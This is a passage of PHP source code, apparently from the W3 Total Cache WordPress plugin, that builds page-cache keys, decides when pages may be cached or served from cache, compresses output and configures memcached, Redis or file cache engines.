$page_key_extension );
$page_key_extension['group'] = $this->_page_group;
}
// set page key
$this->_page_key = $this->_get_page_key( $page_key_extension );
if ( $with_filter ) {
// return empty value if caching should not happen
$this->_page_key = apply_filters( 'w3tc_page_extract_key',
$this->_page_key,
$page_key_extension['useragent'],
$page_key_extension['referrer'],
$page_key_extension['encryption'],
$page_key_extension['compression'],
$page_key_extension['content_type'],
$this->_request_url_fragments['host'] . $this->_request_uri,
$page_key_extension );
}
if ( !empty( $this->_page_key ) )
return true;
$this->caching = false;
$this->cache_reject_reason =
'w3tc_page_extract_key filter result forced not to cache';
return false;
}
/**
* Process extracted cached pages
*
* @param unknown $data
*/
private function process_cached_page_and_exit( $data ) {
/**
* Do Bad Behavior check
*/
$this->_bad_behavior();
$is_404 = isset( $data['404'] ) ? $data['404'] : false;
$headers = isset( $data['headers'] ) ? $data['headers'] : array();
$content = $data['content'];
$has_dynamic = isset( $data['has_dynamic'] ) && $data['has_dynamic'];
$etag = md5( $content );
if ( $has_dynamic ) {
// its last modification date is now, and any compression
// browser wants cant be used, since its compressed now
$time = time();
$compression = $this->_page_key_extension['compression'];
} else {
$time = isset( $data['time'] ) ? $data['time'] : time();
$compression = $data['compression'];
}
/**
* Send headers
*/
$this->_send_headers( $is_404, $time, $etag, $compression, $headers );
if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] == 'HEAD' )
return;
// parse dynamic content and compress if it's dynamic page with mfuncs
if ( $has_dynamic ) {
$content = $this->_parse_dynamic( $content );
$content = $this->_compress( $content, $compression );
}
echo $content; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
Dispatcher::usage_statistics_apply_before_init_and_exit( array( $this,
'w3tc_usage_statistics_of_request' ) );
}
/**
* Output buffering callback
*
* @param string $buffer
* @return string
*/
function ob_callback( $buffer ) {
$this->output_size = strlen( $buffer );
if ( !$this->_is_cacheable_content_type() ) {
if ( $this->_debug )
self::log( 'storing cached page - not a cached content' );
return $buffer;
}
$compression = false;
$has_dynamic = $this->_has_dynamic( $buffer );
$response_headers = $this->_get_response_headers();
// TODO: call modifies object state, rename method at least
$original_can_cache = $this->_can_write_cache( $buffer, $response_headers );
$can_cache = apply_filters( 'w3tc_can_cache', $original_can_cache, $this, $buffer );
if ( $can_cache != $original_can_cache ) {
$this->cache_reject_reason = 'Third-party plugin has modified caching activity';
}
if ( $this->_debug ) {
self::log( 'storing cached page: ' .
( $can_cache ? 'true' : 'false' ) .
' original ' . ( $this->_caching ? ' true' : 'false' ) .
' reason ' . $this->cache_reject_reason );
}
$buffer = str_replace('{w3tc_pagecache_reject_reason}',
( $this->cache_reject_reason != '' ? sprintf( ' (%s)', $this->cache_reject_reason )
: '' ),
$buffer );
if ( $can_cache ) {
$buffer = $this->_maybe_save_cached_result( $buffer, $response_headers, $has_dynamic );
} else {
if ( $has_dynamic ) {
// send common headers since output will be compressed
$compression_header = $this->_page_key_extension['compression'];
if ( defined( 'W3TC_PAGECACHE_OUTPUT_COMPRESSION_OFF' ) )
$compression_header = false;
$headers = $this->_get_common_headers( $compression_header );
$this->_headers( $headers );
}
// remove cached entries if its not cached anymore
if ( $this->cache_reject_reason ) {
if ( $this->_old_exists ) {
$cache = $this->_get_cache( $this->_page_key_extension['group'] );
$compressions_to_store = $this->_get_compressions();
foreach ( $compressions_to_store as $_compression ) {
$_page_key = $this->_get_page_key(
array_merge( $this->_page_key_extension,
array( 'compression' => $_compression ) ) );
$cache->hard_delete( $_page_key );
}
}
}
}
/**
* We can't capture output in ob_callback
* so we use shutdown function
*/
if ( $has_dynamic ) {
$this->_shutdown_buffer = $buffer;
$buffer = '';
register_shutdown_function( array(
$this,
'shutdown'
) );
}
return $buffer;
}
/**
* Shutdown callback
*
* @return void
*/
public function shutdown() {
$compression = $this->_page_key_extension['compression'];
// Parse dynamic content.
$buffer = $this->_parse_dynamic( $this->_shutdown_buffer );
// Compress page according to headers already set.
$compressed_buffer = $this->_compress( $buffer, $compression );
echo $compressed_buffer; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
/**
* Checks if can we do cache logic
*
* @return boolean
*/
private function _can_read_cache() {
/**
* Don't cache in console mode
*/
if ( PHP_SAPI === 'cli' ) {
$this->cache_reject_reason = 'Console mode';
return false;
}
/**
* Skip if session defined
*/
if ( defined( 'SID' ) && SID != '' ) {
$this->cache_reject_reason = 'Session started';
return false;
}
if ( !$this->_config->get_boolean('pgcache.cache.ssl') && Util_Environment::is_https() ) {
$this->cache_reject_reason = 'SSL caching disabled';
$this->process_status = 'miss_configuration';
return false;
}
/**
* Skip if posting
*/
$request_method = isset( $_SERVER['REQUEST_METHOD'] ) ?
htmlspecialchars( stripslashes( $_SERVER['REQUEST_METHOD'] ) ) : ''; // phpcs:ignore
if ( in_array( strtoupper( $request_method ), array( 'DELETE', 'PUT', 'OPTIONS', 'TRACE', 'CONNECT', 'POST' ), true ) ) {
$this->cache_reject_reason = sprintf( 'Requested method is %s', $request_method );
return false;
}
/**
* Skip if HEAD request.
*/
if ( isset( $_SERVER['REQUEST_METHOD'] ) &&
strtoupper( $_SERVER['REQUEST_METHOD'] ) === 'HEAD' && // phpcs:ignore
( $this->_enhanced_mode || $this->_config->get_boolean( 'pgcache.reject.request_head' ) ) ) {
$this->cache_reject_reason = 'Requested method is HEAD';
return false;
}
/**
* Skip if there is query in the request uri
*/
$this->_preprocess_request_uri();
if ( !empty( $this->_request_url_fragments['querystring'] ) ) {
$should_reject_qs =
( !$this->_config->get_boolean( 'pgcache.cache.query' ) ||
$this->_config->get_string( 'pgcache.engine' ) == 'file_generic' );
if ( $should_reject_qs &&
$this->_config->get_string( 'pgcache.rest' ) == 'cache' &&
Util_Environment::is_rest_request( $this->_request_uri ) ) {
$should_reject_qs = false;
}
if ( $should_reject_qs ) {
$this->cache_reject_reason = 'Requested URI contains query';
$this->process_status = 'miss_query_string';
return false;
}
}
/**
* Check request URI
*/
if ( !$this->_passed_accept_files() && !$this->_passed_reject_uri() ) {
$this->cache_reject_reason = 'Requested URI is rejected';
$this->process_status = 'miss_configuration';
return false;
}
/**
* Check User Agent
*/
if ( ! $this->_check_ua() ) {
$this->cache_reject_reason = 'User agent is rejected';
if ( ! empty( Util_Request::get_string( 'w3tc_rewrite_test' ) ) ) {
// special common case - w3tc_rewrite_test check request.
$this->process_status = 'miss_wp_admin';
} else {
$this->process_status = 'miss_configuration';
}
return false;
}
/**
* Check WordPress cookies
*/
if ( !$this->_check_cookies() ) {
$this->cache_reject_reason = 'Cookie is rejected';
$this->process_status = 'miss_configuration';
return false;
}
/**
* Skip if user is logged in or user role is logged in
*/
if ( $this->_config->get_boolean( 'pgcache.reject.logged' ) ) {
if ( !$this->_check_logged_in() ) {
$this->cache_reject_reason = 'User is logged in';
$this->process_status = 'miss_logged_in';
return false;
}
} else {
if ( !$this->_check_logged_in_role_allowed() ) {
$this->cache_reject_reason = 'Rejected user role is logged in';
$this->process_status = 'miss_logged_in';
return false;
}
}
return true;
}
/**
* Checks if can we do cache logic
*
* @param string $buffer
* @return boolean
*/
private function _can_write_cache( $buffer, $response_headers ) {
/**
* Skip if caching is disabled
*/
if ( !$this->_caching ) {
return false;
}
/**
* Check for DONOTCACHEPAGE constant
*/
if ( defined( 'DONOTCACHEPAGE' ) && DONOTCACHEPAGE ) {
$this->cache_reject_reason = 'DONOTCACHEPAGE constant is defined';
$this->process_status = 'miss_third_party';
return false;
}
if ( $this->_config->get_string( 'pgcache.rest' ) != 'cache' ) {
if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) {
$this->cache_reject_reason = 'REST request';
$this->process_status = 'miss_api_call';
return false;
}
}
/**
* Don't cache 404 pages
*/
if ( !$this->_config->get_boolean( 'pgcache.cache.404' ) && function_exists( 'is_404' ) && is_404() ) {
$this->cache_reject_reason = 'Page is 404';
$this->process_status = 'miss_404';
return false;
}
/**
* Don't cache homepage
*/
if ( !$this->_config->get_boolean( 'pgcache.cache.home' ) && function_exists( 'is_home' ) && is_home() ) {
$this->cache_reject_reason = is_front_page() && is_home() ? 'Page is front page' : 'Page is posts page';
$this->process_status = 'miss_configuration';
return false;
}
/**
* Don't cache front page
*/
if ( $this->_config->get_boolean( 'pgcache.reject.front_page' ) && function_exists( 'is_front_page' ) && is_front_page() && !is_home() ) {
$this->cache_reject_reason = 'Page is front page';
$this->process_status = 'miss_configuration';
return false;
}
/**
* Don't cache feed
*/
if ( !$this->_config->get_boolean( 'pgcache.cache.feed' ) && function_exists( 'is_feed' ) && is_feed() ) {
$this->cache_reject_reason = 'Page is feed';
$this->process_status = 'miss_configuration';
return false;
}
/**
* Check if page contains dynamic tags
*/
if ( $this->_enhanced_mode && $this->_has_dynamic( $buffer ) ) {
$this->cache_reject_reason = 'Page contains dynamic tags (mfunc or mclude) can not be cached in enhanced mode';
$this->process_status = 'miss_mfunc';
return false;
}
if ( !$this->_passed_accept_files() ) {
if ( is_single() ) {
/**
* Don't cache pages associated with categories
*/
if ( $this->_passed_reject_categories() ) {
$this->cache_reject_reason = 'Page associated with a rejected category';
$this->process_status = 'miss_configuration';
return false;
}
/**
* Don't cache pages that use tags
*/
if ( $this->_passed_reject_tags() ) {
$this->cache_reject_reason = 'Page using a rejected tag';
$this->process_status = 'miss_configuration';
return false;
}
}
/**
* Don't cache pages by these authors
*/
if ( $this->_passed_reject_authors() ) {
$this->cache_reject_reason = 'Page written by a rejected author';
$this->process_status = 'miss_configuration';
return false;
}
/**
* Don't cache pages using custom fields
*/
if ( $this->_passed_reject_custom_fields() ) {
$this->cache_reject_reason = 'Page using a rejected custom field';
$this->process_status = 'miss_configuration';
return false;
}
}
if ( !empty( $response_headers['kv']['content-encoding'] ) ) {
$this->cache_reject_reason = 'Response is compressed';
$this->process_status = 'miss_compressed';
return false;
}
if ( empty( $buffer ) && empty( $response_headers['kv']['location'] ) ) {
$this->cache_reject_reason = 'Empty response';
$this->process_status = 'miss_empty_response';
return false;
}
if ( isset( $response_headers['kv']['location'] ) ) {
// dont cache query-string normalization redirects
// (e.g. from wp core)
// when cache key is normalized, since that cause redirect loop
if ( $this->_get_page_key( $this->_page_key_extension ) ==
$this->_get_page_key( $this->_page_key_extension, $response_headers['kv']['location'] ) ) {
$this->cache_reject_reason = 'Normalization redirect';
$this->process_status = 'miss_normalization_redirect';
return false;
}
}
if ( isset( $_SERVER['REQUEST_METHOD'] ) && $_SERVER['REQUEST_METHOD'] == 'HEAD' ) {
$this->cache_reject_reason = 'HEAD request';
$this->process_status = 'miss_request_method';
return;
}
return true;
}
public function get_cache_stats_size( $timeout_time ) {
$cache = $this->_get_cache();
if ( method_exists( $cache, 'get_stats_size' ) )
return $cache->get_stats_size( $timeout_time );
return null;
}
public function get_usage_statistics_cache_config() {
$engine = $this->_config->get_string( 'pgcache.engine' );
switch ( $engine ) {
case 'memcached':
case 'nginx_memcached':
$engineConfig = array(
'servers' => $this->_config->get_array( 'pgcache.memcached.servers' ),
'persistent' => $this->_config->get_boolean( 'pgcache.memcached.persistent' ),
'aws_autodiscovery' => $this->_config->get_boolean( 'pgcache.memcached.aws_autodiscovery' ),
'username' => $this->_config->get_string( 'pgcache.memcached.username' ),
'password' => $this->_config->get_string( 'pgcache.memcached.password' ),
'binary_protocol' => $this->_config->get_boolean( 'pgcache.memcached.binary_protocol' )
);
break;
case 'redis':
$engineConfig = array(
'servers' => $this->_config->get_array( 'pgcache.redis.servers' ),
'verify_tls_certificates' => $this->_config->get_boolean( 'pgcache.redis.verify_tls_certificates' ),
'persistent' => $this->_config->get_boolean( 'pgcache.redis.persistent' ),
'timeout' => $this->_config->get_integer( 'pgcache.redis.timeout' ),
'retry_interval' => $this->_config->get_integer( 'pgcache.redis.retry_interval' ),
'read_timeout' => $this->_config->get_integer( 'pgcache.redis.read_timeout' ),
'dbid' => $this->_config->get_integer( 'pgcache.redis.dbid' ),
'password' => $this->_config->get_string( 'pgcache.redis.password' )
);
break;
case 'file_generic':
$engine = 'file';
break;
default:
$engineConfig = array();
}
$engineConfig['engine'] = $engine;
return $engineConfig;
}
/**
* Returns cache object
*
* @return W3_Cache_Base
*/
function _get_cache( $group = '*' ) {
static $caches = array();
if ( empty( $group ) ) {
$group = '*';
}
if ( empty( $caches[$group] ) ) {
$engine = $this->_config->get_string( 'pgcache.engine' );
switch ( $engine ) {
case 'memcached':
case 'nginx_memcached':
$engineConfig = array(
'servers' => $this->_config->get_array( 'pgcache.memcached.servers' ),
'persistent' => $this->_config->get_boolean( 'pgcache.memcached.persistent' ),
'aws_autodiscovery' => $this->_config->get_boolean( 'pgcache.memcached.aws_autodiscovery' ),
'username' => $this->_config->get_string( 'pgcache.memcached.username' ),
'password' => $this->_config->get_string( 'pgcache.memcached.password' ),
'binary_protocol' => $this->_config->get_boolean( 'pgcache.memcached.binary_protocol' ),
'host' => Util_Environment::host(),
);
break;
case 'redis':
$engineConfig = array(
'servers' => $this->_config->get_array( 'pgcache.redis.servers' ),
'verify_tls_certificates' => $this->_config->get_boolean( 'pgcache.redis.verify_tls_certificates' ),
'persistent' => $this->_config->get_boolean( 'pgcache.redis.persistent' ),
'timeout' => $this->_config->get_integer( 'pgcache.redis.timeout' ),
'retry_interval' => $this->_config->get_integer( 'pgcache.redis.retry_interval' ),
'read_timeout' => $this->_config->get_integer( 'pgcache.redis.read_timeout' ),
'dbid' => $this->_config->get_integer( 'pgcache.redis.dbid' ),
'password' => $this->_config->get_string( 'pgcache.redis.password' )
);
break;
case 'file':
$engineConfig = array(
'section' => 'page',
'flush_parent' => ( Util_Environment::blog_id() == 0 ),
'locking' => $this->_config->get_boolean( 'pgcache.file.locking' ),
'flush_timelimit' => $this->_config->get_integer( 'timelimit.cache_flush' )
);
break;
case 'file_generic':
if ( $group != '*' ) {
$engine = 'file';
$engineConfig = array(
'section' => 'page',
'cache_dir' =>
W3TC_CACHE_PAGE_ENHANCED_DIR .
DIRECTORY_SEPARATOR .
Util_Environment::host_port(),
'flush_parent' => ( Util_Environment::blog_id() == 0 ),
'locking' => $this->_config->get_boolean( 'pgcache.file.locking' ),
'flush_timelimit' => $this->_config->get_integer( 'timelimit.cache_flush' )
);
break;
}
if ( Util_Environment::blog_id() == 0 ) {
$flush_dir = W3TC_CACHE_PAGE_ENHANCED_DIR;
} else {
$flush_dir = W3TC_CACHE_PAGE_ENHANCED_DIR .
DIRECTORY_SEPARATOR .
Util_Environment::host();
}
$engineConfig = array(
'exclude' => array(
'.htaccess'
),
'expire' => $this->_lifetime,
'cache_dir' => W3TC_CACHE_PAGE_ENHANCED_DIR,
'locking' => $this->_config->get_boolean( 'pgcache.file.locking' ),
'flush_timelimit' => $this->_config->get_integer( 'timelimit.cache_flush' ),
'flush_dir' => $flush_dir,
);
break;
default:
$engineConfig = array();
}
$engineConfig['use_expired_data'] = true;
$engineConfig['module'] = 'pgcache';
$engineConfig['host'] = '';
$engineConfig['instance_id'] = Util_Environment::instance_id();
$caches[$group] = Cache::instance( $engine, $engineConfig );
}
return $caches[$group];
}
/**
* Checks request URI
*
* @return boolean
*/
function _passed_reject_uri() {
$auto_reject_uri = array(
'wp-login',
'wp-register'
);
foreach ( $auto_reject_uri as $uri ) {
if ( strstr( $this->_request_uri, $uri ) !== false ) {
return false;
}
}
$reject_uri = $this->_config->get_array( 'pgcache.reject.uri' );
$reject_uri = array_map( array( '\W3TC\Util_Environment', 'parse_path' ), $reject_uri );
foreach ( $reject_uri as $expr ) {
$expr = trim( $expr );
if ( $expr != '' && preg_match( '~' . $expr . '~i', $this->_request_uri ) ) {
return false;
}
}
return true;
}
/**
* Check if in the cache exception list
*
* @return boolean
*/
function _passed_accept_files() {
$accept_uri = $this->_config->get_array( 'pgcache.accept.files' );
$accept_uri = array_map( array( '\W3TC\Util_Environment', 'parse_path' ), $accept_uri );
foreach ( $accept_uri as &$val ) $val = trim( str_replace( "~", "\~", $val ) );
$accept_uri = array_filter( $accept_uri, function( $val ){ return $val != ""; } );
if ( !empty( $accept_uri ) && @preg_match( '~' . implode( "|", $accept_uri ) . '~i', $this->_request_uri ) ) {
return true;
}
return false;
}
/**
* Checks page against rejected categories
*
* @return boolean
*/
function _passed_reject_categories() {
$reject_categories = $this->_config->get_array( 'pgcache.reject.categories' );
if ( !empty( $reject_categories ) ) {
if ( $cats = get_the_category() ) {
foreach( $cats as $cat ) {
if ( in_array( $cat->slug, $reject_categories ) ) {
return true;
}
}
}
}
return false;
}
/**
* Checks page against rejected tags
*
* @return boolean
*/
function _passed_reject_tags() {
$reject_tags = $this->_config->get_array( 'pgcache.reject.tags' );
if ( !empty( $reject_tags ) ) {
if ( $tags = get_the_tags() ) {
foreach( $tags as $tag ) {
if ( in_array( $tag->slug,$reject_tags ) ) {
return true;
}
}
}
}
return false;
}
/**
* Checks page against rejected authors
*
* @return boolean
*/
function _passed_reject_authors() {
$reject_authors = $this->_config->get_array( 'pgcache.reject.authors' );
if ( !empty( $reject_authors ) ) {
if ( $author = get_the_author_meta( 'user_login' ) ) {
if ( in_array( $author, $reject_authors ) ) {
return true;
}
}
}
return false;
}
/**
* Checks page against rejected custom fields
*
* @return boolean
*/
function _passed_reject_custom_fields() {
$reject_custom = $this->_config->get_array( 'pgcache.reject.custom' );
if ( empty( $reject_custom ) )
return false;
foreach ( $reject_custom as &$val ) {
$val = preg_quote( trim( $val ), '~' );
}
$reject_custom = implode( '|', array_filter( $reject_custom ) );
if ( !empty( $reject_custom ) ) {
if ( $customs = get_post_custom() ) {
foreach ( $customs as $key => $value ) {
if ( @preg_match( '~' . $reject_custom . '~i', $key . ( isset( $value[0] ) ? "={$value[0]}" : "" ) ) ) {
return true;
}
}
}
}
return false;
}
/**
* Checks User Agent
*
* @return boolean
*/
function _check_ua() {
$uas = $this->_config->get_array( 'pgcache.reject.ua' );
$uas = array_merge( $uas, array( W3TC_POWERED_BY ) );
foreach ( $uas as $ua ) {
if ( !empty( $ua ) ) {
if ( isset( $_SERVER['HTTP_USER_AGENT'] ) &&
stristr( htmlspecialchars( stripslashes( $_SERVER['HTTP_USER_AGENT'] ) ), $ua ) !== false ) // phpcs:ignore
return false;
}
}
return true;
}
/**
* Checks WordPress cookies
*
* @return boolean
*/
function _check_cookies() {
foreach ( array_keys( $_COOKIE ) as $cookie_name ) {
if ( $cookie_name == 'wordpress_test_cookie' ) {
continue;
}
if ( preg_match( '/^(wp-postpass|comment_author)/', $cookie_name ) ) {
return false;
}
}
foreach ( $this->_config->get_array( 'pgcache.reject.cookie' ) as $reject_cookie ) {
if ( !empty( $reject_cookie ) ) {
foreach ( array_keys( $_COOKIE ) as $cookie_name ) {
if ( strstr( $cookie_name, $reject_cookie ) !== false ) {
return false;
}
}
}
}
return true;
}
/**
* Check if user is logged in
*
* @return boolean
*/
function _check_logged_in() {
foreach ( array_keys( $_COOKIE ) as $cookie_name ) {
if ( strpos( $cookie_name, 'wordpress_logged_in' ) === 0 )
return false;
}
return true;
}
/**
* Check if logged in user role is allwed to be cached
*
* @return boolean
*/
function _check_logged_in_role_allowed() {
if ( !$this->_config->get_boolean( 'pgcache.reject.logged_roles' ) )
return true;
$roles = $this->_config->get_array( 'pgcache.reject.roles' );
if ( empty( $roles ) )
return true;
foreach ( array_keys( $_COOKIE ) as $cookie_name ) {
if ( strpos( $cookie_name, 'w3tc_logged_' ) === 0 ) {
foreach ( $roles as $role ) {
if ( strstr( $cookie_name, md5( NONCE_KEY . $role ) ) )
return false;
}
}
}
return true;
}
/**
* Checks if rules file present and creates it if not
*/
function _check_rules_present() {
if ( Util_Environment::is_nginx() )
return; // nginx store it in a single file
$filename = Util_Rule::get_pgcache_rules_cache_path();
if ( file_exists( $filename ) )
return;
// we call it as little times as possible
// its expensive, but have to restore lost .htaccess file
$e = Dispatcher::component( 'PgCache_Environment' );
try {
$e->fix_on_wpadmin_request( $this->_config, true );
} catch ( \Exception $ex ) {
}
}
/**
* Compress data
*
* @param string $data
* @param string $compression
* @return string
*/
function _compress( $data, $compression ) {
switch ( $compression ) {
case 'gzip':
$data = gzencode( $data );
break;
case 'deflate':
$data = gzdeflate( $data );
break;
case 'br':
$data = brotli_compress( $data );
break;
}
return $data;
}
/**
* Returns page key extension for current request
*
* @return string
*/
private function _get_key_extension() {
$extension = array(
'useragent' => '',
'referrer' => '',
'cookie' => '',
'encryption' => '',
'compression' => $this->_get_compression(),
'content_type' => '',
'cache' => true,
'cache_reject_reason' => '',
'group' => ''
);
if ( $this->_mobile )
$extension['useragent'] = $this->_mobile->get_group();
if ( $this->_referrer )
$extension['referrer'] = $this->_referrer->get_group();
if ( Util_Environment::is_https() )
$extension['encryption'] = 'ssl';
$this->_fill_key_extension_cookie( $extension );
// fill group
$extension['group'] = $this->get_cache_group_by_uri( $this->_request_uri );
$extension = w3tc_apply_filters( 'pagecache_key_extension', $extension,
$this->_request_url_fragments['host'], $this->_request_uri );
return $extension;
}
private function _fill_key_extension_cookie( &$extension ) {
if ( !$this->_config->get_boolean( 'pgcache.cookiegroups.enabled' ) )
return;
$groups = $this->_config->get_array( 'pgcache.cookiegroups.groups' );
foreach ( $groups as $group_name => $g ) {
if ( isset( $g['enabled'] ) && $g['enabled'] ) {
$cookies = array();
foreach ($g['cookies'] as $cookie ) {
$cookie = trim( $cookie );
if ( !empty( $cookie ) ) {
$cookie = str_replace( '+', ' ', $cookie );
$cookie = Util_Environment::preg_quote( $cookie );
if ( strpos( $cookie, '=') === false )
$cookie .= '=.*';
$cookies[] = $cookie;
}
}
if ( count( $cookies ) > 0 ) {
$cookies_regexp = '~^(' . implode( '|', $cookies ) . ')$~i';
foreach ( $_COOKIE as $key => $value ) {
if ( @preg_match( $cookies_regexp, $key . '=' . $value ) ) {
$extension['cookie'] = $group_name;
if ( !$g['cache'] ) {
$extension['cache'] = false;
$extension['cache_reject_reason'] = 'cookiegroup ' . $group_name;
}
return;
}
}
}
}
}
}
protected function get_cache_group_by_uri( $uri ) {
// "!$this->_enhanced_mode" in condition above
// prevents usage of separate group under disk-enhanced
// so that rewrite rules still work.
// flushing is handled by workaround in this case
if ( !$this->_enhanced_mode ) {
$sitemap_regex = $this->_config->get_string(
'pgcache.purge.sitemap_regex' );
if ( $sitemap_regex && preg_match( '~' . $sitemap_regex . '~',
basename( $uri ) ) ) {
return 'sitemaps';
}
}
if ( $this->_config->get_string( 'pgcache.rest' ) == 'cache' &&
Util_Environment::is_rest_request( $uri ) &&
Util_Environment::is_w3tc_pro( $this->_config ) ) {
return 'rest';
}
return '';
}
/**
* Returns current compression
*
* @return boolean
*/
function _get_compression() {
if ( $this->_debug ) // cannt generate/use compressed files during debug mode
return '';
if ( !Util_Environment::is_zlib_enabled() && !$this->_is_buggy_ie() ) {
$compressions = $this->_get_compressions();
foreach ( $compressions as $compression ) {
if ( is_string( $compression ) &&
isset( $_SERVER['HTTP_ACCEPT_ENCODING'] ) &&
stristr( htmlspecialchars( stripslashes( $_SERVER['HTTP_ACCEPT_ENCODING'] ) ), $compression ) !== false ) { // phpcs:ignore
return $compression;
}
}
}
return '';
}
/**
* Returns array of compressions
*
* @return array
*/
function _get_compressions() {
$compressions = array(
false
);
if ( defined( 'W3TC_PAGECACHE_STORE_COMPRESSION_OFF' ) ) {
return $compressions;
}
if ( $this->_config->get_boolean( 'browsercache.enabled' ) &&
$this->_config->get_boolean( 'browsercache.html.compression' ) &&
function_exists( 'gzencode' ) ) {
$compressions[] = 'gzip';
}
if ( $this->_config->get_boolean( 'browsercache.enabled' ) &&
$this->_config->get_boolean( 'browsercache.html.brotli' ) &&
function_exists( 'brotli_compress' ) ) {
$compressions[] = 'br';
}
return $compressions;
}
/**
* Returns array of response headers
*
* @return array
*/
function _get_response_headers() {
$headers_kv = array();
$headers_plain = array();
if ( function_exists( 'headers_list' ) ) {
$headers_list = headers_list();
if ( $headers_list ) {
foreach ( $headers_list as $header ) {
$pos = strpos( $header, ':' );
if ( $pos ) {
$header_name = trim( substr( $header, 0, $pos ) );
$header_value = trim( substr( $header, $pos + 1 ) );
} else {
$header_name = $header;
$header_value = '';
}
$headers_kv[strtolower($header_name)] = $header_value;
$headers_plain[] = array(
'name' => $header_name,
'value' => $header_value
);
}
}
}
return array(
'kv' => $headers_kv,
'plain' => $headers_plain
);
}
/**
* Checks for buggy IE6 that doesn't support compression
*
* @return boolean
*/
function _is_buggy_ie() {
if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) {
$ua = htmlspecialchars( stripslashes( $_SERVER['HTTP_USER_AGENT'] ) ); // phpcs:ignore
if ( strpos( $ua, 'Mozilla/4.0 (compatible; MSIE ' ) === 0 && strpos( $ua, 'Opera' ) === false ) {
$version = (float) substr( $ua, 30 );
return $version < 6 || ( $version == 6 && strpos( $ua, 'SV1' ) === false );
}
}
return false;
}
/**
* Returns array of data headers
*
* @return array
*/
function _get_cached_headers( $response_headers ) {
$data_headers = array();
$cache_headers = array_merge(
array( 'Location', 'X-WP-Total', 'X-WP-TotalPages' ),
$this->_config->get_array( 'pgcache.cache.headers' )
);
if ( function_exists( 'http_response_code' ) ) { // php5.3 compatibility
$data_headers['Status-Code'] = http_response_code();
}
$repeating_headers = array(
'link',
'cookie',
'set-cookie'
);
$repeating_headers = apply_filters( 'w3tc_repeating_headers',
$repeating_headers );
foreach ( $response_headers as $i ) {
$header_name = $i['name'];
$header_value = $i['value'];
foreach ( $cache_headers as $cache_header_name ) {
if ( strcasecmp( $header_name, $cache_header_name ) == 0 ) {
$header_name_lo = strtolower( $header_name );
if ( in_array($header_name_lo, $repeating_headers) ) {
// headers may repeat
$data_headers[] = array(
'n' => $header_name,
'v' => $header_value
);
} else {
$data_headers[$header_name] = $header_value;
}
}
}
}
return $data_headers;
}
/**
* Returns page key
*
* @return string
*/
function _get_page_key( $page_key_extension, $request_url = '' ) {
// key url part
if ( empty( $request_url ) ) {
$request_url_fragments = $this->_request_url_fragments;
} else {
$request_url_fragments = array();
$parts = parse_url( $request_url );
if ( isset( $parts['host'] ) ) {
$request_url_fragments['host'] = $parts['host'] .
( isset( $parts['port'] ) ? ':' . $parts['port'] : '' );
} else {
$request_url_fragments['host'] = $this->_request_url_fragments['host'];
}
$request_url_fragments['path'] =
( isset( $parts['path'] ) ? $parts['path'] : '' );
$request_url_fragments['querystring'] =
( isset( $parts['query'] ) ? '?' . $parts['query'] : '' );
$request_url_fragments = $this->_normalize_url_fragments(
$request_url_fragments );
}
$key_urlpart =
$request_url_fragments['host'] .
$request_url_fragments['path'] .
$request_url_fragments['querystring'];
$key_urlpart = $this->_get_page_key_urlpart( $key_urlpart, $page_key_extension );
// key extension
$key_extension = '';
$extensions = array( 'useragent', 'referrer', 'cookie', 'encryption' );
foreach ( $extensions as $e ) {
if ( !empty( $page_key_extension[$e] ) ) {
$key_extension .= '_' . $page_key_extension[$e];
}
}
if ( Util_Environment::is_preview_mode() ) {
$key_extension .= '_preview';
}
// key postfix
$key_postfix = '';
if ( $this->_enhanced_mode && empty( $page_key_extension['group'] ) ) {
$key_postfix = '.html';
if ( $this->_config->get_boolean( 'pgcache.cache.nginx_handle_xml' ) ) {
$content_type = isset( $page_key_extension['content_type'] ) ?
$page_key_extension['content_type'] : '';
if ( @preg_match( "~(text/xml|text/xsl|application/xhtml\+xml|application/rdf\+xml|application/rss\+xml|application/atom\+xml|application/xml)~i", $content_type ) ||
preg_match( W3TC_FEED_REGEXP, $request_url_fragments['path'] ) ||
strpos( $request_url_fragments['path'], ".xsl" ) !== false ) {
$key_postfix = '.xml';
}
}
}
// key compression
$key_compression = '';
if ( $page_key_extension['compression'] ) {
$key_compression = '_' . $page_key_extension['compression'];
}
$key = w3tc_apply_filters( 'pagecache_page_key', array(
'key' => array(
$key_urlpart,
$key_extension,
$key_postfix,
$key_compression
),
'page_key_extension' => $page_key_extension,
'url_fragments' => $this->_request_url_fragments
) );
return implode( '', $key['key'] );
}
private function _get_page_key_urlpart( $key, $page_key_extension ) {
// remove fragments
$key = preg_replace( '~#.*$~', '', $key );
// host/uri in different cases means the same page in wp
$key = strtolower( $key );
if ( empty( $page_key_extension['group'] ) ) {
if ( $this->_enhanced_mode || $this->_nginx_memcached ) {
$extra = '';
// URL decode
$key = urldecode( $key );
// replace double slashes
$key = preg_replace( '~[/\\\]+~', '/', $key );
// replace index.php
$key = str_replace( '/index.php', '/', $key );
// remove querystring
$key = preg_replace( '~\?.*$~', '', $key );
// make sure one slash is at the end
if (substr($key, strlen($key) - 1, 1) == '/') {
$extra = '_slash';
}
$key = trim( $key, '/' ) . '/';
if ( $this->_nginx_memcached ) {
return $key;
}
return $key . '_index' . $extra;
}
}
return md5( $key );
}
/**
* Returns debug info
*
* @param boolean $cache
* @param string $reason
* @param boolean $status
* @param double $time
* @return string
*/
public function w3tc_footer_comment( $strings ) {
$strings[] = sprintf(
// translators: 1: Engine name, 2: Reject reason placeholder, 3: Page key extension.
__( 'Page Caching using %1$s%2$s%3$s', 'w3-total-cache' ),
Cache::engine_name( $this->_config->get_string( 'pgcache.engine' ) ),
'{w3tc_pagecache_reject_reason}',
isset( $this->_page_key_extension['cookie'] ) ? ' ' . $this->_page_key_extension['cookie'] : ''
);
if ( $this->_debug ) {
$time_total = Util_Debug::microtime() - $this->_time_start;
$engine = $this->_config->get_string( 'pgcache.engine' );
$strings[] = '';
$strings[] = 'Page cache debug info:';
$strings[] = sprintf( "%s%s", str_pad( 'Engine: ', 20 ), Cache::engine_name( $engine ) );
$strings[] = sprintf( "%s%s", str_pad( 'Cache key: ', 20 ), $this->_page_key );
$strings[] = sprintf( "%s%.3fs", str_pad( 'Creation Time: ', 20 ), time() );
$headers = $this->_get_response_headers();
if ( count( $headers['plain'] ) ) {
$strings[] = "Header info:";
foreach ( $headers['plain'] as $i ) {
